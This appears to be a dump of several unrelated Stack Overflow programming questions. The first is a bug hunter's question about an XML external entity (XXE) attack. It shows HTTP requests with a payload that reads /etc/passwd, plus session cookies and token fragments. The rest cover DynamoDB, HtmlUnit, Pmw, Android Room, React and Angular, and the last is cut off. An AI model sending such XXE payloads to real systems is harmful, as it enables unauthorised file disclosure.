<p>I am a hacker and now I am hunting for securty holes(bugs) to get the bounty. Yesterday, when I am bug hunting on a website, I saw a request like this:</p> <pre><code>POST /accounts/28605113/followers HTTP/1.1 Host: example.com Connection: close Content-Length: 19 Accept: */* Origin: https://example.com X-CSRF-Token: ch0+kD67DYFab7FmEeAn1RDh6DZUmI65S+K9CxuKTvg= X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Referer: https://example/watch/search?q=hackerone Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,vi;q=0.8 Cookie: my_cookies account_id=28605113 </code></pre> <p>I was thinking about testing for XXE:</p> <pre><code>POST /accounts/28605113/followers HTTP/1.1 Host: example.com Connection: close Content-Length: 19 Accept: */* Origin: https://example.com X-CSRF-Token: ch0+kD67DYFab7FmEeAn1RDh6DZUmI65S+K9CxuKTvg= X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Content-Type: text/xml; charset=UTF-8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Referer: https://example.com/watch/search?q=hackerone Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,vi;q=0.8 Cookie: my_cookies &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;account_id&gt;28605113&lt;/account_id&gt; </code></pre> <p>And awesome! It works! I was followed new user by using XML content ====> XXE vulnerability</p> <p>And then I decided to exploit it by this request:</p> <pre><code>POST /accounts/28605113/followers HTTP/1.1 Host: example.com Connection: close Content-Length: 19 Accept: */* Origin: https://example.com X-CSRF-Token: ch0+kD67DYFab7FmEeAn1RDh6DZUmI65S+K9CxuKTvg= X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Content-Type: text/xml; charset=UTF-8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Referer: https://example.com/watch/search?q=hackerone Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,vi;q=0.8 Cookie: my_cookies &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;!DOCTYPE foo [ &lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&gt; ]&gt;&lt;account_id&gt;&amp;xxe;&lt;/account_id&gt; </code></pre> <p>But i just get a response look like this:</p> <pre><code>HTTP/1.1 200 OK Server: openresty Content-Type: text/html; charset=utf-8 Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN X-UA-Compatible: IE=Edge,chrome=1 ETag: "b326b5062b2f0e69046810717534cb09" Set-Cookie: _example_session_id=7e9aa24785793d803b3917a45377b0cb; path=/; expires=Sun, 15-Dec-2019 13:01:05 GMT; HttpOnly Set-Cookie: __cu_id=28945505; domain=.example.com; path=/; expires=Sun, 15-Dec-2019 13:01:05 GMT Set-Cookie: __cu_short_name=; path=/; expires=Sun, 15-Dec-2019 13:01:05 GMT Set-Cookie: __cu=%7B%22initial%22%3A%22%26%22%2C%22mixpanel_id%22%3A%2216e9cc289603ab-0a7935d33e069a-2393f61-15f900-16e9cc289614cb%22%2C%22created_at%22%3A1574588876%2C%22days_since_creation%22%3A0%2C%22plan_info%22%3A%7B%22id%22%3A-1%2C%22type%22%3A10%7D%2C%22features_with_plan%22%3A0%2C%22trial_info%22%3Anull%2C%22picture%22%3A%7B%22thumb_url%22%3Anull%7D%2C%22authorizationToken%22%3A%22b0128945505............................4bd802ced0b90c02e9c75e6284c87a32........................................1574588876164...........1574761676164...........YugborL0iXfMQ7sZDP2GWw%7E%7E00000000000000....................................%22%2C%22authorizationTokenExpiresAt%22%3A%222019-11-26T09%3A47%3A56.172Z%22%2C%22timezone%22%3A%22Asia%2FHo_Chi_Minh%22%7D; path=/; expires=Sun, 15-Dec-2019 13:01:05 GMT X-Request-Id: 9439a64c3fcbe97f7c061c68f35b6f79 X-Runtime: 0.432708 Content-Length: 4 Date: Sun, 24 Nov 2019 13:01:05 GMT Connection: close X-Served-By: cache-jfk8121-JFK, cache-hkg17925-HKG X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1574600465.789233,VS0,VE681 Vary: Accept-Encoding Cache-Control: no-cache, no-store, private, must-revalidate, max-age=0, max-stale=0, post-check=0, pre-check=0 Expires: 0 Pragma: no-cache Age: 0 Via: 1.1 varnish Accept-Ranges: bytes true </code></pre> <p>Not thing happens! The file I want to read doesn't appear. The only thing appears just a 'true' response. Look like my XXE payload isn't working. I have try a lot but it still doesn't work, nothing happens, just only that simple response. Is there any hacker know how to exploit it, help me, please, I will thank you so much! (Sorry if bad English)</p>
3
2,005
API Gateway error (ValidationException: ExpressionAttributeValues must not be empty) when trying to update DynamoDB entry
<p>I am new to AWS and am trying to set up the back end for my buddy's website. I am able to 'get' entries from my database (called 'isThrowingTable') but am unable to 'put' updates into it. I run a Request Body as seen in the picture/code below and I get a response body (error) as seen in the pic/code (see the lambda function line 28 to see how that response is created, I added stuff to debug it)</p> <p><a href="https://i.stack.imgur.com/eCHOv.png" rel="nofollow noreferrer">API Gateway 'Request Body' 'Resources' and 'ErrorMessage' </a></p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>ERROR: ValidationException: ExpressionAttributeValues must not be empty Unable to put product: event.body { "dataName": "throwingStatus", "updatedInfo": false } into params {"TableName":"isThrowingTable","Key":{},"UpdateExpression":"set info = :info","ExpressionAttributeValues":{},"ReturnValues":"UPDATED_NEW"} dataName: undefined updatedInfo undefined</code></pre> </div> </div> </p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>{ "dataName": "throwingStatus", "updatedInfo": false }</code></pre> </div> </div> </p> <p>This is the lambda that is kicked off from the Gateway Test</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>'use strict'; const AWS = require('aws-sdk'); const documentClient = new AWS.DynamoDB.DocumentClient(); exports.handler = async (event, context) =&gt; { let responseBody = ""; let statusCode = 0; //const { dataName, updatedInfo } = JSON.parse((event.body)); //SyntaxError: Unexpected token in JSON at position 1 const dataName = event.body.dataName const updatedInfo = event.body.updatedInfo var params = { TableName: "isThrowingTable", Key: { id: dataName }, UpdateExpression: "set info = :info", ExpressionAttributeValues: { ":info": updatedInfo }, ReturnValues: "UPDATED_NEW" }; try { const data = await documentClient.update(params).promise(); responseBody = JSON.stringify(data); statusCode = 201; } catch(err) { responseBody = `ERROR: ${err} Unable to put product: event.body ${event.body} into params ${JSON.stringify(params)} dataName: ${dataName} updatedInfo ${updatedInfo}`; statusCode = 403; } return { statusCode: statusCode, headers: { "Content-Type": "application/json", "access-control-allow-origin": "*" }, body: responseBody }; };</code></pre> </div> </div> </p> <p>As you can see in the error message, params.Key and params.ExpressionAttributeValues are not set and I'm not sure why. In the print out of event.body you can see dataName (the id of the item in the database) and updatedInfo are present but trying to grab it results in 'undefined'. I am hoping for a fix and also to learn why this is happening.</p>
3
1,091
HtmlUnit form submit since button does not have a direct hyperlink
<p>I have a button on a page but there is no hyperlink in the button. So I need to submit the form to go to the next page.</p> <p>HtmlUnit is not waiting till the next page loads. So the <code>nextPage</code> variable is having the current page instead of the next page (intermittently it works if page loads quick enough though). How to resolve this?</p> <p>Html Page:</p> <pre><code> &lt;form action="/webapp/NewPage.jsp" id="idForm01" accept-charset="UNKNOWN" onsubmit="return false;" name="frmNewPageForm" method="post" enctype="application/x-www-form-urlencoded"&gt; &lt;input name="attribute1" type="HIDDEN" value="1"&gt; &lt;input id="attribute2" value="EDIT_ATTRIBUTE2" name="functionalAttribute" type="hidden"&gt; &lt;/form&gt; &lt;table id="idTablePageDetails" class="formTable"&gt; &lt;tbody&gt; &lt;tr class="formHeaderRow"&gt; &lt;td colspan="4" nowrap=""&gt; Page Details &lt;a onclick="onClick_newPageButton();return false;" id="newPageButton" title="New Page" href="#" class="smallButton"&gt; &lt;img id="image" border="0" class="smallButtonImg" src="/webapp/image/imageButton.png"&gt;&lt;/a&gt; &lt;script type="text/javascript" language="Javascript"&gt; &lt;!-- function onClick_newPageButton() { buttonAction_newPageButton(); } function buttonAction_newPageButton() { if ( allowClick() == true ) { addFormField( "frmNewPageForm", "action", "ACTION_NEW_PAGE" ); if ( document.frmNewPageForm.onsubmit != null ) { document.frmNewPageForm.onsubmit(); }document.frmNewPageForm.submit(); }} // --&gt; &lt;/script&gt; &lt;/table&gt; </code></pre> <p>Code I am using to get the next page:</p> <pre><code>HtmlPage nextPage = (HtmlPage) page.executeJavaScript("document.frmNewPageForm.onsubmit()").getNewPage(); // from onsubmit </code></pre>
3
1,034
Update one Pmw control using value from another within the same class
<p>I am writing a Pmw (<a href="http://pmw.sourceforge.net" rel="nofollow">http://pmw.sourceforge.net</a>) plugin for PyMOL (<a href="http://sourceforge.net/projects/pymol/" rel="nofollow">http://sourceforge.net/projects/pymol/</a>), but I just cannot update the value of a <code>Pmw.ComboBox</code> using changes made to a <code>Pmw.RadioSelect</code> control.</p> <p>The error I keep getting is:</p> <pre><code> File "/Users/x/.pymol/plugins/mymixer.py", line 82, in sdqRadioChanged self.scheme_listing._list.setlist(scList) &lt;type 'exceptions.AttributeError'&gt;: MyMixer instance has no attribute 'scheme_listing' </code></pre> <p>This appears to be a mistake in scope, but I have no idea how to re-architect the entire plugin to be able to access the <code>scheme_listing</code> attribute of a <code>MyMixer</code> instance. Similar examples for python/Pmw/tkinter, on the web, appear to work fine (or so it appears to me with my limited understanding of python GUI programming).</p> <p>Attached below is a MWE that runs (and fails) from within PyMOL (shows up in the menu under Plugins > MyMixer). Note: If you run this on OSX, make sure you are running PyMOLX11Hybrid.app</p> <pre><code># -*- coding: utf-8 -*- # ========================== # IMPORTS # ========================== import Pmw # ========================== # MAIN CLASS # ========================== class MyMixer(): colbrew = {'color':{'red': ['apple', 'strawberry', 'carrot'], 'blue': ['blueberry', 'smurfberry', 'icee'], 'green': ['spinach', 'chilli', 'lettuce']}, 'shape':{'round': ['baseball', 'basketball', 'golfball'], 'oblong': ['football', 'shoes', 'eggs'], 'square': ['box', 'laptop', 'yourhead']}} def __init__(self, app): parent = app.root self.parent = parent self.dialog = Pmw.Dialog(parent, buttons=('Exit', ), title='MyMixer Plugin', command=self.button_pressed) self.dialog.geometry('650x780') self.dialog.bind('&lt;Return&gt;', self.button_pressed) # -- Initialize main notebook self.notebook = Pmw.NoteBook(self.dialog.interior()) self.notebook.pack(fill='both', expand=1, padx=3, pady=3) self.sdq_radio = Pmw.RadioSelect(self.dialog.interior(), selectmode='single', buttontype='radiobutton', labelpos='nw', label_text='Colbrew Style:', label_font='inconsolata 16', orient='horizontal', frame_relief='ridge', command=self.sdqRadioChanged) self.sdq_radio.pack(padx=0, anchor='n') schemeStyleTypes = self.colbrew.keys() for item in schemeStyleTypes: self.sdq_radio.add(item, font='inconsolata 16') self.sdq_radio.invoke(0) scListItems = self.colbrew.get(self.sdq_radio.getvalue()) self.scheme_listing = Pmw.ComboBox(self.dialog.interior(), scrolledlist_items=scListItems, labelpos='nw', label_text='Scheme Name:', label_font='inconsolata 16', listbox_height=10, entry_width=3, selectioncommand=self.schemeListCommand, dropdown=True) self.scheme_listing.pack(padx=20, pady=2, anchor='e') # -- Reflow notebook self.notebook.setnaturalsize() # -- Show the main dialog self.dialog.show() def schemeListCommand(self, value): print value def sdqRadioChanged(self, value): scList = self.colbrew.get(value) self.scheme_listing._list.setlist(scList) # THIS IS THE POINT OF FAILURE !!! print value # -- Utility function for button controls def button_pressed(self, result): if result == 'Exit' or result is None: self.dialog.withdraw() # ========================== # PLUGIN INITIALIZATION # ========================== def __init__(self, *args): self.menuBar.addmenuitem('Plugin', 'command', 'Start MyMixer', label='MyMixer', command=lambda s=self: MyMixer(s)) </code></pre>
3
2,247
Android Room either does not compile or throws error during runtime
<p>I wanted to use <em>Room</em> for storing data. For this I have my <code>AppDatabase.kt</code>:</p> <pre><code>@Database(entities = [SensorEntry::class], version = 1, exportSchema = false) @TypeConverters(Converters::class) abstract class AppDatabase : RoomDatabase() { abstract fun sensorDao(): SensorDao companion object { // For Singleton instantiation @Volatile private var instance: AppDatabase? = null fun getInstance(context: Context): AppDatabase { return instance ?: synchronized(this) { instance ?: buildDatabase(context).also { instance = it } } } private fun buildDatabase(context: Context): AppDatabase { return Room.databaseBuilder( context, AppDatabase::class.java, &quot;SensorEntry.db&quot; ) .addTypeConverter(Converters::class) .addCallback( object : RoomDatabase.Callback() { override fun onCreate(db: SupportSQLiteDatabase) { super.onCreate(db) ioThread { getInstance(context).sensorDao() } } } ) .build() } } } </code></pre> <p>using the following dependecies (from [developer.android.com])(<a href="https://developer.android.com/training/data-storage/room" rel="nofollow noreferrer">https://developer.android.com/training/data-storage/room</a>):</p> <p><code>build.gradle</code></p> <pre><code>dependencies { def room_version = &quot;2.4.2&quot; implementation &quot;androidx.room:room-runtime:$room_version&quot; annotationProcessor &quot;androidx.room:room-compiler:$room_version&quot; // optional - RxJava2 support for Room implementation &quot;androidx.room:room-rxjava2:$room_version&quot; // optional - RxJava3 support for Room implementation &quot;androidx.room:room-rxjava3:$room_version&quot; // optional - Guava support for Room, including Optional and ListenableFuture implementation &quot;androidx.room:room-guava:$room_version&quot; // optional - Test helpers testImplementation &quot;androidx.room:room-testing:$room_version&quot; // optional - Paging 3 Integration implementation &quot;androidx.room:room-paging:2.5.0-alpha01&quot; } </code></pre> <p>The database is instanciated in my <code>MainActivity</code></p> <pre><code>val db = AppDatabase.getInstance(applicationContext) </code></pre> <p>I can compile the application but I get the error during runtime which is discussed here: <a href="https://stackoverflow.com/questions/46665621/android-room-persistent-appdatabase-impl-does-not-exist">Android room persistent: AppDatabase_Impl does not exist</a></p> <pre><code>Caused by: java.lang.RuntimeException: cannot find implementation for AppDatabase. AppDatabase_Impl does not exist </code></pre> <hr /> <p>No this thread suggest to replace the <code>annotationProcessor</code> in my <code>gradle.build</code> with <code>kapt</code>. This seemed to do the trick, but then I get another error during comiling for which I've already openend a question <a href="https://stackoverflow.com/questions/72434420/using-kotlin-ubyte-for-room-entity-not-working">Using kotlin.UByte for Room Entity not working</a></p> <pre><code>C:&lt;...&gt;\UInt8.java:15: error: Cannot find getter for field. private byte value; Cannot find getter for field. </code></pre> <p><strong>Update</strong>: I have purposely not included any code of object that should be stored. Please see my other <a href="https://stackoverflow.com/questions/72434420/using-kotlin-ubyte-for-room-entity-not-working">question</a> if you think, this might be the root of the problem.</p>
3
1,466
componentWillUnmount works after switching to another page
<p>I have two pages and two components LibraryPageFilters.tsx (url: /courses) and UserVideoCreatePage.tsx (url: /ugc/courses/${course.id}). In component LibraryPageFilters.tsx</p> <pre><code>useEffect(() =&gt; { console.log(course.id) if (course.id) { console.log(544) dispatch(push(`/ugc/courses/${course.id}`)); } }, [course]); </code></pre> <p>i have a check that if course.id present in the store, then we make a redirect. In component UserVideoCreatePage.tsx</p> <pre><code> useEffect(() =&gt; { return () =&gt; { console.log(333344444) dispatch(courseDelete()); }; }, []); </code></pre> <p>i am deleting a course from the store when componentUnmount.</p> <p><a href="https://i.stack.imgur.com/H4e5A.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/H4e5A.png" alt="enter image description here" /></a></p> <p>why does unmount happen after a redirect? as a result, I am redirected back. Because the course is not removed from the store at the moment of unmount, and the check (if (course.id)) shows that the course is in the store and a redirect occurs back (dispatch(push(<code>/ugc/courses/${course.id}</code>)))</p> <p>UserVideoCreatePage.tsx</p> <pre><code>import React, { useEffect, useRef, useState } from 'react'; import { shallowEqual, useDispatch, useSelector } from 'react-redux'; import { useParams } from 'react-router'; import { Link } from 'react-router-dom'; import { Container } from 'Core/components/Container/Container'; import { Svg } from 'Core/components/Svg'; import { Button } from 'Core/Molecules/Button'; import { Select } from 'Core/Molecules/Select'; import { agreementCourse, categoriesSelector, courseDelete, courseEditorCourseSelector, courseUpdateApi, getCategories, getCourse, updateCourseApi, } from 'Learnings/store/courseEdit'; import { CourseComments } from 'Learnings/screens/CoursePlayPage/CourseBottom/CourseComments/CourseComments'; import { AddItem } from './AddItem'; import s from 'Admin/Pages/Course/Description/index.scss'; import './UserVideoCreatePage.scss'; export const UserVideoCreatePage: React.FC = () =&gt; { const dispatch = useDispatch(); const { id: idCourse } = useParams(); const course = useSelector(courseEditorCourseSelector, shallowEqual); const categories = useSelector(categoriesSelector, shallowEqual); const [value, valueSet] = useState({ name: '', description: '', categories: [], lectures: [], materials: [] }); const [tab, tabSet] = useState('program'); const inputFileRef = useRef&lt;HTMLInputElement&gt;(null); const img = course.gallery_items &amp;&amp; course.gallery_items[0]; console.log(categories); const handleBtnClick = () =&gt; { if (inputFileRef &amp;&amp; inputFileRef.current) { inputFileRef.current.click(); } }; useEffect(() =&gt; { dispatch(getCourse(idCourse)); dispatch(getCategories()); }, [idCourse]); useEffect(() =&gt; { valueSet({ name: course.name, description: course.description, categories: course.categories &amp;&amp; course.categories[0] &amp;&amp; course.categories[0].id, lectures: course.lectures, materials: course.materials, }); }, [course]); useEffect(() =&gt; { return () =&gt; { console.log(333344444) dispatch(courseDelete()); }; }, []); return ( &lt;Container className=&quot;createCourse&quot;&gt; &lt;Link to=&quot;/&quot; className=&quot;gallery__back&quot;&gt; &lt;Svg name=&quot;arrow_back&quot; width={26} height={20} className=&quot;gallery__svg&quot;/&gt; &lt;span&gt;Назад&lt;/span&gt; &lt;/Link&gt; &lt;div className=&quot;createCourse__twoColumn&quot;&gt; &lt;div className=&quot;createCourse__twoColumn-left&quot;&gt; &lt;div className=&quot;inputBlock&quot;&gt; &lt;label className=&quot;inputBlock__label&quot; htmlFor=&quot;video&quot;&gt; Название видео-курса &lt;/label&gt; &lt;input id=&quot;video&quot; type=&quot;text&quot; placeholder=&quot;Введите название вашего видео&quot; className=&quot;inputBlock__input&quot; value={value.name || ''} onChange={e =&gt; valueSet({ ...value, name: e.target.value, }) } onBlur={e =&gt; { if (e.target.value &amp;&amp; course.name !== e.target.value) { dispatch(updateCourseApi(idCourse, { name: e.target.value })); } }} /&gt; &lt;/div&gt; &lt;div className=&quot;inputBlock&quot;&gt; &lt;label className=&quot;inputBlock__label&quot; htmlFor=&quot;opisanie&quot;&gt; Описание видео-курса &lt;/label&gt; &lt;textarea id=&quot;opisanie&quot; placeholder=&quot;Введите краткое описание вашего видео&quot; className=&quot;inputBlock__input&quot; value={value.description || ''} onChange={e =&gt; valueSet({ ...value, description: e.target.value, }) } onBlur={e =&gt; { if (e.target.value &amp;&amp; course.description !== e.target.value) { dispatch(updateCourseApi(idCourse, { description: e.target.value })); } }} /&gt; &lt;/div&gt; &lt;Select title=&quot;Категории видео-курса&quot; placeholder=&quot;Категории видео-курса&quot; value={value.categories} options={categories.map(category =&gt; ({ value: category.id, label: category.name }))} onChange={val =&gt; { valueSet({ ...value, categories: val, }); dispatch( updateCourseApi(idCourse, { category_ids: val, courses_curators: { '': { user_id: val, }, }, }), ); }} search /&gt; &lt;/div&gt; &lt;div className=&quot;createCourse__twoColumn-right&quot;&gt; &lt;div className=&quot;loadVideo&quot;&gt; &lt;div className=&quot;loadVideo__field&quot;&gt; &lt;div className=&quot;loadVideo__field--block&quot;&gt; {!img &amp;&amp; ( &lt;&gt; &lt;Svg className=&quot;loadVideo__field--block-icon&quot; name=&quot;icn-load&quot; width={104} height={69}/&gt; &lt;p className=&quot;loadVideo__field--block-text&quot;&gt;Загрузите обложку к видео&lt;/p&gt; &lt;/&gt; )} {img &amp;&amp; &lt;img src={img &amp;&amp; img.image_url} alt=&quot;&quot;/&gt;} &lt;/div&gt; &lt;/div&gt; &lt;div className=&quot;loadVideo__under&quot;&gt; &lt;div className=&quot;loadVideo__under--left&quot;&gt; &lt;div className=&quot;loadVideo__under--text&quot;&gt; &lt;span className=&quot;loadVideo__under--text-grey&quot;&gt;*Рекомендуемый формат&lt;/span&gt; &lt;span className=&quot;loadVideo__under--text-bold&quot;&gt; 356х100&lt;/span&gt; &lt;/div&gt; &lt;div className=&quot;loadVideo__under--text&quot;&gt; &lt;span className=&quot;loadVideo__under--text-grey&quot;&gt;*Вес не должен превышать&lt;/span&gt; &lt;span className=&quot;loadVideo__under--text-bold&quot;&gt; 10 Мб&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div className=&quot;loadVideo__under--right&quot;&gt; &lt;input onChange={val =&gt; { if (val.target.files[0]) { if (img) { dispatch( updateCourseApi(idCourse, { gallery_items: { '': { image: val.target.files[0], id: img.id, }, }, }), ); } else { dispatch( updateCourseApi(idCourse, { gallery_items: { '': { image: val.target.files[0], }, }, }), ); } } }} type=&quot;file&quot; ref={inputFileRef} className=&quot;Library__btn&quot; /&gt; &lt;Button onClick={() =&gt; { handleBtnClick(); }} &gt; Библиотека обложек &lt;/Button&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div className={`block-switcher block-switcher--courseCreate`}&gt; &lt;div className={`block-switcher__item ${tab === 'program' &amp;&amp; 'block-switcher__item_active'}`} onClick={() =&gt; tabSet('program')} &gt; Программы &lt;/div&gt; &lt;div className={`block-switcher__item ${tab === 'comments' &amp;&amp; 'block-switcher__item_active'}`} onClick={() =&gt; tabSet('comments')} &gt; Комментарии эксперта &lt;/div&gt; &lt;/div&gt; {tab === 'program' &amp;&amp; ( &lt;&gt; &lt;AddItem accept=&quot;video/mp4,video/x-m4v,video/*&quot; fieldName=&quot;name&quot; addType=&quot;lecture_type&quot; title=&quot;Видео-курсы&quot; addBtn=&quot;Добавить видео&quot; type=&quot;lectures&quot; file=&quot;video&quot; lecturesArg={course.lectures} value={value} onChangeInput={lecturesNew =&gt; { valueSet({ ...value, lectures: lecturesNew, }); }} onVideoUpdate={(params: any) =&gt; { dispatch(updateCourseApi(idCourse, params)); }} posMove={(lectures: any) =&gt; { dispatch(courseUpdateApi({ id: idCourse, lectures: lectures }, true)); }} /&gt; &lt;AddItem accept=&quot;&quot; fieldName=&quot;title&quot; addType=&quot;material_type&quot; title=&quot;Материалы к видео-курсам&quot; addBtn=&quot;Добавить файл&quot; type=&quot;materials&quot; file=&quot;document&quot; lecturesArg={course.materials} value={value} onChangeInput={lecturesNew =&gt; { valueSet({ ...value, materials: lecturesNew, }); }} onVideoUpdate={(params: any) =&gt; { dispatch(updateCourseApi(idCourse, params)); }} posMove={(lectures: any) =&gt; { dispatch(courseUpdateApi({ id: idCourse, materials: lectures }, true)); }} /&gt; &lt;/&gt; )} {tab === 'comments' &amp;&amp; &lt;CourseComments title=&quot;Обсуждение&quot;/&gt;} &lt;Button className={`${s.button} agreement__btn`} size=&quot;big&quot; onClick={() =&gt; dispatch( agreementCourse(idCourse, { visibility_all_users: true, }), ) } &gt; Отправить на согласование &lt;/Button&gt; &lt;/Container&gt; ); }; </code></pre> <p>LibraryPageFilters.tsx</p> <pre><code>import React, { useEffect, useState } from 'react'; import { useDispatch, useSelector, shallowEqual } from 'react-redux'; import { push } from 'connected-react-router'; import { getSettingsGlobalSelector } from 'Core/store/settings'; import { Svg } from 'Core/components/Svg'; import { NavBar } from 'Core/Organisms/NavBar'; import { Button } from 'Core/Molecules/Button'; import { CategoriesFilter } from 'Core/Organisms/Filters/components/CategoriesFilter'; import { courseDelete, courseEditorCourseSelector, createNewCourse } from 'Learnings/store/courseEdit'; import { FILTERS, LINKS } from '../../libraryPageConstants'; import { setLibraryPageQuery } from '../../actions/libraryPageActions'; import { getLibraryPageQuerySelector } from '../../libraryPageSelectors'; import s from './index.scss'; import { languageTranslateSelector } from 'Core/store/language'; import { LanguageType } from 'Core/models/LanguageSchema'; import { Status, Tabs } from 'Core/components/Tabs/Tabs'; const statuses: Array&lt;Status&gt; = [ { key: 'Filter/all', link: '/courses' || '/courses', type: 'all' || '', }, { key: 'Filter/online', link: '/courses/online', type: 'online', }, { key: 'Filter/offline', link: '/courses/offline', type: 'offline', }, { key: 'Filter/complete', link: '/courses/complete', type: 'complete', }, ]; export const LibraryPageFilters = () =&gt; { const dispatch = useDispatch(); const [searchTerm, setSearchTerm] = useState(''); const [isBtnDisabled, setIsBtnDisabled] = useState(false); const course = useSelector(courseEditorCourseSelector, shallowEqual); const global = useSelector(getSettingsGlobalSelector); const query = useSelector(getLibraryPageQuerySelector, shallowEqual); const courseCreateButtonText = useSelector( languageTranslateSelector('CoursePage/courseCreateButton'), ) as LanguageType; const { category_id: categoryID } = query; console.log(course) useEffect(() =&gt; { console.log(course.id) if (course.id) { console.log(544) dispatch(push(`/ugc/courses/${course.id}`)); } }, [course]); useEffect(() =&gt; { return () =&gt; { setIsBtnDisabled(false); dispatch(courseDelete()); }; }, []); const onFilter = (values: any) =&gt; { return false; }; const handleActiveCategory = (id: number) =&gt; { const categoryParam = { ...query, offset: 0, category_id: id, }; if (id === categoryID) { delete categoryParam.category_id; } dispatch(setLibraryPageQuery(categoryParam)); }; const handleSearch = () =&gt; { dispatch(setLibraryPageQuery({ query: searchTerm })); }; return ( &lt;React.Fragment&gt; &lt;div className={s.filters}&gt; {global.coursesPage?.filters.length ? ( &lt;NavBar className={s.navBar} links={global.coursesPage.filtersLinks.map(linkType =&gt; LINKS[linkType])} filters={global.coursesPage.filters.map(filterType =&gt; FILTERS[filterType])} onFilter={onFilter} postfix={ global.coursesPage.courseCreateButton &amp;&amp; global.coursesPage.courseCreateButton.enable ? ( &lt;Button className=&quot;coursePageCreateButton&quot; onClick={() =&gt; { dispatch(createNewCourse()); setIsBtnDisabled(true); }} disabled={isBtnDisabled} &gt; {courseCreateButtonText['CoursePage/courseCreateButton']} &lt;/Button&gt; ) : null } /&gt; ) : ( &lt;div className=&quot;track-page__header&quot; data-tut=&quot;track-header&quot;&gt; &lt;Tabs statuses={statuses} /&gt; &lt;div className={s.filtersSearch}&gt; &lt;Svg className={s.filtersSearchIcon} name=&quot;search_alternative&quot; width={18} height={18} /&gt; &lt;input type=&quot;text&quot; placeholder=&quot;Поиск&quot; className={s.filtersSearchInput} value={searchTerm} onChange={event =&gt; setSearchTerm(event.target.value)} /&gt; &lt;button type=&quot;button&quot; className={s.filtersButton} onClick={handleSearch}&gt; Найти &lt;/button&gt; &lt;/div&gt; &lt;/div&gt; )} &lt;/div&gt; &lt;CategoriesFilter onChange={handleActiveCategory} selectedID={categoryID} /&gt; &lt;/React.Fragment&gt; ); }; </code></pre>
3
9,038
Uncaught Error: [$injector:modulerr] Angular, Angular-ui-router with Webpack
<p>I've been having this problem for awhile, but I can't seem to crack it. I'm using angular 1.5, angular-ui-router 0.2.18 (from bower components) with webpack 1.13.1 and I provided the code on the bottom. I'm getting the error messages with a <a href="https://docs.angularjs.org/error/$injector/modulerr?p0=flyHawaii&amp;p1=Error:%20%5B$injector:nomod%5D%20http:%2F%2Ferrors.angularjs.org%2F1.5.0%2F$injector%2Fnomod%3Fp0%3DflyHawaii%0A%20%20%20%20at%20Error%20(native)%0A%20%20%20%20at%20http:%2F%2Flocalhost:3000%2Fapp%2Fapp.min.js:61:417%0A%20%20%20%20at%20http:%2F%2Flocalhost:3000%2Fapp%2Fapp.min.js:80:137%0A%20%20%20%20at%20b%20(http:%2F%2Flocalhost:3000%2Fapp%2Fapp.min.js:79:189)%0A%20%20%20%20at%20http:%2F%2Flocalhost:3000%2Fapp%2Fapp.min.js:79:432%0A%20%20%20%20at%20http:%2F%2Flocalhost:3000%2Fapp%2Fapp.min.js:94:288%0A%20%20%20%20at%20n%20(http:%2F%2Flocalhost:3000%2Fapp%2Fapp.min.js:62:356)%0A%20%20%20%20at%20g%20(http:%2F%2Flocalhost:3000%2Fapp%2Fapp.min.js:94:136)%0A%20%20%20%20at%20fb%20(http:%2F%2Flocalhost:3000%2Fapp%2Fapp.min.js:98:165)%0A%20%20%20%20at%20c%20(http:%2F%2Flocalhost:3000%2Fapp%2Fapp.min.js:75:450" rel="nofollow">Link 1</a> that directs me to angular's website saying this error happens when a module fails to load due to some exception and saying to use ngRoute (but I'm not using ngRoute) and on top of that it shows another <a href="https://docs.angularjs.org/error/$injector/nomod?p0=flyHawaii" rel="nofollow">Link 2</a> saying my module is not available. So I'm not sure if its angular or angular-ui-router causing this. </p> <p>webpack.config.js</p> <pre><code>var webpack = require('webpack'); var debug = process.env.NODE_ENV !== "production"; var bower_dir = __dirname + '/public//bower_components'; module.exports = { context: __dirname + '/public/app/', entry: { app: './app.js', vendor: ['angular'] }, output: { path: __dirname + '/public/app', filename: 'app.min.js' }, plugins: debug ? [] : [ new webpack.optimize.DedupePlugin(), new webpack.optimize.OccurenceOrderPlugin(), new webpack.optimize.UglifyJsPlugin({ mangle: false, sourcemap: false }) ], resolve: { alias: { 'jquery': bower_dir + '/jquery/dist/jquery.js', 'angular': bower_dir + '/angular/angular.min.js' } } }; </code></pre> <p>app.js</p> <pre><code>require("../bower_components/jquery/dist/jquery.min.js"); require("../bower_components/bootstrap/dist/js/bootstrap.min.js"); require("../bower_components/slick-carousel/slick/slick.min.js"); var ui_router = require("../bower_components/angular-ui- router/release/angular-ui-router.js"); require("../bower_components/angular/angular.min.js"); var app = angular.module("flyHawaii", [ui_router]); app.config(function($stateProvider, $urlRouterProvider){ $stateProvider.state("landing", { url: "/", templateUrl: 